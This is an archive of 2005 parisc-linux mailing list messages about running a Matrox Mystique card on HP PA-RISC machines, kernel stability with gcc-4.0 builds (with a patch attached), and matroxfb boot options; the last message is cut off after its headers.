> 	Memory at f4005000 (32-bit, non-prefetchable) [size=3D1K]
> 	Expansion ROM at f4040000 [disabled] [size=3D256K]
>=20
> 0000:00:0d.0 Multimedia audio controller: Analog Devices AD1889 sound chip
> 	Subsystem: Analog Devices AD1889 sound chip
> 	Flags: bus master, medium devsel, latency 255, IRQ 67
> 	Memory at f4009000 (32-bit, prefetchable) [size=3D512]
> 	Memory at f4008000 (32-bit, prefetchable) [size=3D16]
> 	Memory at f4007000 (32-bit, prefetchable) [size=3D16]
> 	Memory at f4006000 (32-bit, prefetchable) [size=3D16]
> 	Capabilities: [dc] Power Management version 1
>=20
> 0000:00:0e.0 IDE interface: National Semiconductor Corporation 87415/8756=
0=20
> IDE (rev 03) (prog-if 8f [Master SecP SecO PriP PriO])
> 	Flags: bus master, medium devsel, latency 255, IRQ 7
> 	I/O ports at 0e00 [size=3D8]
> 	I/O ports at 0d00 [size=3D4]
> 	I/O ports at 0b00 [size=3D8]
> 	I/O ports at 0a00 [size=3D4]
> 	I/O ports at 0900 [size=3D16]
>=20
> 0000:00:0e.1 Bridge: National Semiconductor Corporation 87560 Legacy I/O=
=20
> (rev 01)
> 	Flags: bus master, medium devsel, latency 255, IRQ 68
>=20
> 0000:00:0e.2 USB Controller: National Semiconductor Corporation USB=20
> Controller (rev 02) (prog-if 10 [OHCI])
> 	Flags: bus master, medium devsel, latency 240, IRQ 1
> 	Memory at f4004000 (32-bit, non-prefetchable) [size=3D4K]
> 	Memory at f4003000 (32-bit, non-prefetchable) [size=3D4K]
>=20
> 0000:00:0f.0 SCSI storage controller: LSI Logic / Symbios Logic 53c895a=20
> (rev 01)
> 	Subsystem: LSI Logic / Symbios Logic LSI53C895A PCI to Ultra2 SCSI Contr=
oller
> 	Flags: bus master, medium devsel, latency 255, IRQ 69
> 	I/O ports at 0800 [size=3D256]
> 	Memory at f4002000 (32-bit, non-prefetchable) [size=3D1K]
> 	Memory at f4000000 (32-bit, non-prefetchable) [size=3D8K]
> 	Capabilities: [40] Power Management version 2
>=20
> 0000:01:00.0 3D controller: Hewlett-Packard Company Visualize FXe (rev 03)
> 	Subsystem: Hewlett-Packard Company: Unknown device 108c
> 	Flags: bus master, 66MHz, medium devsel, latency 255, IRQ 70
> 	Memory at fb000000 (64-bit, prefetchable) [size=3D16M]
> 	Memory at fa000000 (64-bit, non-prefetchable) [size=3D16M]
> 	Expansion ROM at fd820000 [disabled] [size=3D128K]
>=20
> 0000:01:01.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG=
=20
> [Mystique] (rev 02) (prog-if 00 [VGA])
> 	Flags: bus master, stepping, medium devsel, latency 248, IRQ 71
> 	Memory at fd800000 (32-bit, non-prefetchable) [size=3D16K]
> 	Memory at fd000000 (32-bit, prefetchable) [size=3D8M]
> 	Memory at f4800000 (32-bit, non-prefetchable) [size=3D8M]
> 	Expansion ROM at fd820000 [disabled] [size=3D64K]
>=20
>=20
> The 'cat /proc/iomem' outputs are as follows:
>=20
> DebianHPPA01:~# cat /proc/iomem
> 00000000-0fffffff : System RAM
>    00000000-000009ff : PDC data (Page Zero)
>    00100000-0039cfff : Kernel code
>    0039d000-0050d89b : Kernel data
> f05d0000-f05d0000 : lcd_data
> f05d0008-f05d0008 : lcd_cmd
> f4000000-f47fffff : PCI00 LMMIO
>    f4000000-f4001fff : sym53c8xx
>    f4002000-f40023ff : sym53c8xx
>    f4004000-f4004fff : ohci_hcd
>    f4005000-f40053ff : tulip
>    f4009000-f40091ff : ad1889
> f4800000-f4ffffff : PCI01 LMMIO
> fd000000-fdffffff : PCI01 ELMMIO
> fed00000-fed00fff : SBA
> fed30000-fed30fff : LBA
> fed32000-fed32fff : LBA
> fef00000-feffffff : Astro Intr Ack
> fff80000-fffaffff : Central Bus
>    fffa0000-fffa0fff : CPU
> fffb0000-fffdffff : Local Broadcast
> fffe0000-ffffffff : Global Broadcast
> DebianHPPA01:~#
>=20
>=20
> Any suggestion what should I do next to see if Matrox Mytique cards are=20
> indeed usable on HPPA boxes.
>=20
> Tks,
> Lee
>=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


--=20
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team

--Signature=_Tue__5_Jul_2005_16_51_59_+0200_RLCkQChTb3KddQ5H
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFCyp6RrpShrnoH4YYRAkRhAJsFCIbGPoLP53jE1ppEqwAccBTpUQCgqc40
si1W7UUnkeujhOtbOuE+n+4=
=gSmN
-----END PGP SIGNATURE-----

--Signature=_Tue__5_Jul_2005_16_51_59_+0200_RLCkQChTb3KddQ5H--

--===============0084206296==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0084206296==--



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Tue, 5 Jul 2005 16:59:22 +0200
Lines: 182
Approved: news@gmane.org
Message-ID: <42B91C140000455F@mail-1-bnl.tiscali.it>
References: <42BAE7C300003107@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="========/42B91C140000455F/mail-1-bnl.tiscali.it"
X-Trace: ger.gmane.org 1416623835 15515 80.91.229.3 (22 Nov 2014 02:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 14:59:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 05 Jul 2005 16:59:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03ED17D71D;
	Tue,  5 Jul 2005 08:59:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05038-07; Tue, 5 Jul 2005 08:59:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 949A77D722;
	Tue,  5 Jul 2005 08:59:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 486C57D71D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 08:59:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04851-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jul 2005 08:59:30 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 1FFA47D719
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 08:59:30 -0600 (MDT)
Original-Received: from 10.39.115.131 by mrq-2 with esmtp (Exim)
	id 1DpotP-0000AH-C1; Tue, 05 Jul 2005 16:59:26 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 5 Jul 2005 16:59:22 +0200
In-Reply-To: <42BAE7C300003107@mail-5-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DMW4Yg8SeSEkSr6WZHQhaXN1IGRvb8DG
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22877


--========/42B91C140000455F/mail-1-bnl.tiscali.it
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable

Hello Dave and * pa,

I trust, it's already a good news:
# cat /proc/cpuinfo ; uname -a ; echo " "; uptime
processor       : 0
cpu family      : PA-RISC 1.1e
cpu             : PA7300LC (PCX-L2)
cpu MHz         : 180.000000
model           : 9000/778/B180L
model name      : Merlin L2+ 180 (9000/778/B180L)
hversion        : 0x00005040
sversion        : 0x00000481
I-cache         : 64 KB
D-cache         : 64 KB (WB, 0-way associative)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=3D4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (8 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 119.60
software id     : 2010134099

Linux patst004 2.6.10-pa10-b180 #1 Fri Jul 1 18:49:47 CEST 2005 parisc GN=
U/Linux
 
 16:43:53 up 2 days, 23:16,  4 users,  load average: 7.85, 7.10, 7.15
=3D=3D=3D=3D<>=3D=3D=3D=3D
# cat /proc/cpuinfo ; uname -a ; echo " "; uptime
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 400.000000
model           : 9000/785/B2000
model name      : Kazoo W+
hversion        : 0x00005d00
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 794.62
software id     : 2011773200

Linux patst005 2.6.10-pa11-b2k32 #2 Mon Jul 4 19:37:53 CEST 2005 parisc G=
NU/Linux
 
 16:44:35 up 21:03,  6 users,  load average: 8.23, 8.08, 8.10
=3D=3D=3D=3D=3D=3D<>=3D=3D=3D=3D

Previously those 32bit kernel was panicing more/less quickly after the st=
art
of my "stress test" (respectively 2h and 5min)
>
 
> >
> > > > good news with gcc-4.0 (debian pakage) and '-mfixed-range=3Dfr6-f=
r21,fr27-fr31'
> > > >
> > > >     o 2.6.9-rc2-pa1 seems to works as fine as with original optio=
n
> > > >     o 2.6.9-rc2-pa13 the same
> > > >
> > > > (just have to backport some small stuff to  reach to compile kern=
els)
> > > >
> > > > I apply my stress test (tar loops + kernel build loops) during a
full
> > day
> > > > for each one without any pb ;-)
> > > >
> > > > I can now try a step forward: 2.6.10-pa + gcc-4.0, ...
> >
> > I'll have to try a gcc-4.0 built kernel to see if it improves things
> > on the c3k.
> >
> cool ;-)
> 
[...]
(in case of interest I attached my diff file)

> 
> > Just a note, a patch to fix the function pointer canonicalization
> > issue that you and others noticed was installed Friday to the 4.0 bra=
nch,
> > and Saturday to the GCC head.
> >
Next test (tomorow :-)

Thanks,
    Joel



--========/42B91C140000455F/mail-1-bnl.tiscali.it
Content-Type: application/gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="patch-2.6.10-pa11-gcc40.gz"

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
AA==

--========/42B91C140000455F/mail-1-bnl.tiscali.it
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--========/42B91C140000455F/mail-1-bnl.tiscali.it--



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted: Getting Matrox Mystique to run on
	HPPA B2000
Date: Tue, 5 Jul 2005 17:07:46 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <e6eae02905070509071c271661@mail.gmail.com>
References: <5.1.1.6.1.20050705220226.02abcec0@pop.singnet.com.sg>
	<20050705165159.0953c3ac.gmsoft@gentoo.org>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623836 15517 80.91.229.3 (22 Nov 2014 02:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jul 2005 16:08:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 05 Jul 2005 18:08:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECC547D6FA;
	Tue,  5 Jul 2005 10:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05330-05; Tue, 5 Jul 2005 10:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D7567D6FC;
	Tue,  5 Jul 2005 10:07:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E1837D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 10:07:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05117-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jul 2005 10:07:45 -0600 (MDT)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194])
	by free.linux.hp.com (Postfix) with ESMTP id 6F2007D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jul 2005 10:07:45 -0600 (MDT)
Original-Received: by wproxy.gmail.com with SMTP id i11so931051wra
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 05 Jul 2005 09:07:46 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=AMDGjJtCOIQWTNExkGbmJrFR1NJS3lit1M0dttPyA2B+ggBzfx5ZKDi9X+gOY7Y9NgrZqin4WRPywOWJrBSVzQs4H+GmcbV3Ai97gObaMTguBtZocDo7qLa2m123lRl6ydw2kf/K94OUotRe0QeLwQXCaOu06wAjkJip1zbjs8w=
Original-Received: by 10.54.47.41 with SMTP id u41mr4433819wru;
	Tue, 05 Jul 2005 09:07:46 -0700 (PDT)
Original-Received: by 10.54.57.24 with HTTP; Tue, 5 Jul 2005 09:07:46 -0700 (PDT)
In-Reply-To: <20050705165159.0953c3ac.gmsoft@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NtW4Yg5geSEkdb6WZHQhaXN1IGRvbwCX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22878

On 05/07/05, Guy Martin <gmsoft@gentoo.org> wrote:
>=20
> What about
> video=3Dmatroxfb:vesa:0x111,depth:16,mem:4,noaccel,init console=3Dtty0
> passed to the kernel or something which best correspond to your vga card =
?
>=20
> Mine is this :
> 0000:02:03.0 VGA compatible controller: Matrox Graphics, Inc. MGA 1064SG =
[Mystique] (rev 02)
> and it works fine.

I have a Millenium (I), in my /etc/palo.conf I have
"video=3Dmatroxfb:nomtrr:init:vesa:0x11B:mem:8"

works fine here, too.

   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Alternative implementation of glibc spinlocks
Date: Tue, 05 Jul 2005 09:39:00 +0800
Lines: 103
Approved: news@gmane.org
Message-ID: <42C9E4B4.2060303@tausq.org>
References: <20050702135938.GV19114@tausq.org>
	<20050704010044.GA5269@systemhalted.org> <42C897F2.80307@tausq.org>
	<20050704041453.GC5269@systemhalted.org>
	<42C8CDCC.7060308@tausq.org>
	<20050704145417.GE5269@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623836 15518 80.91.229.3 (22 Nov 2014 02:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:16 +0000 (UTC)
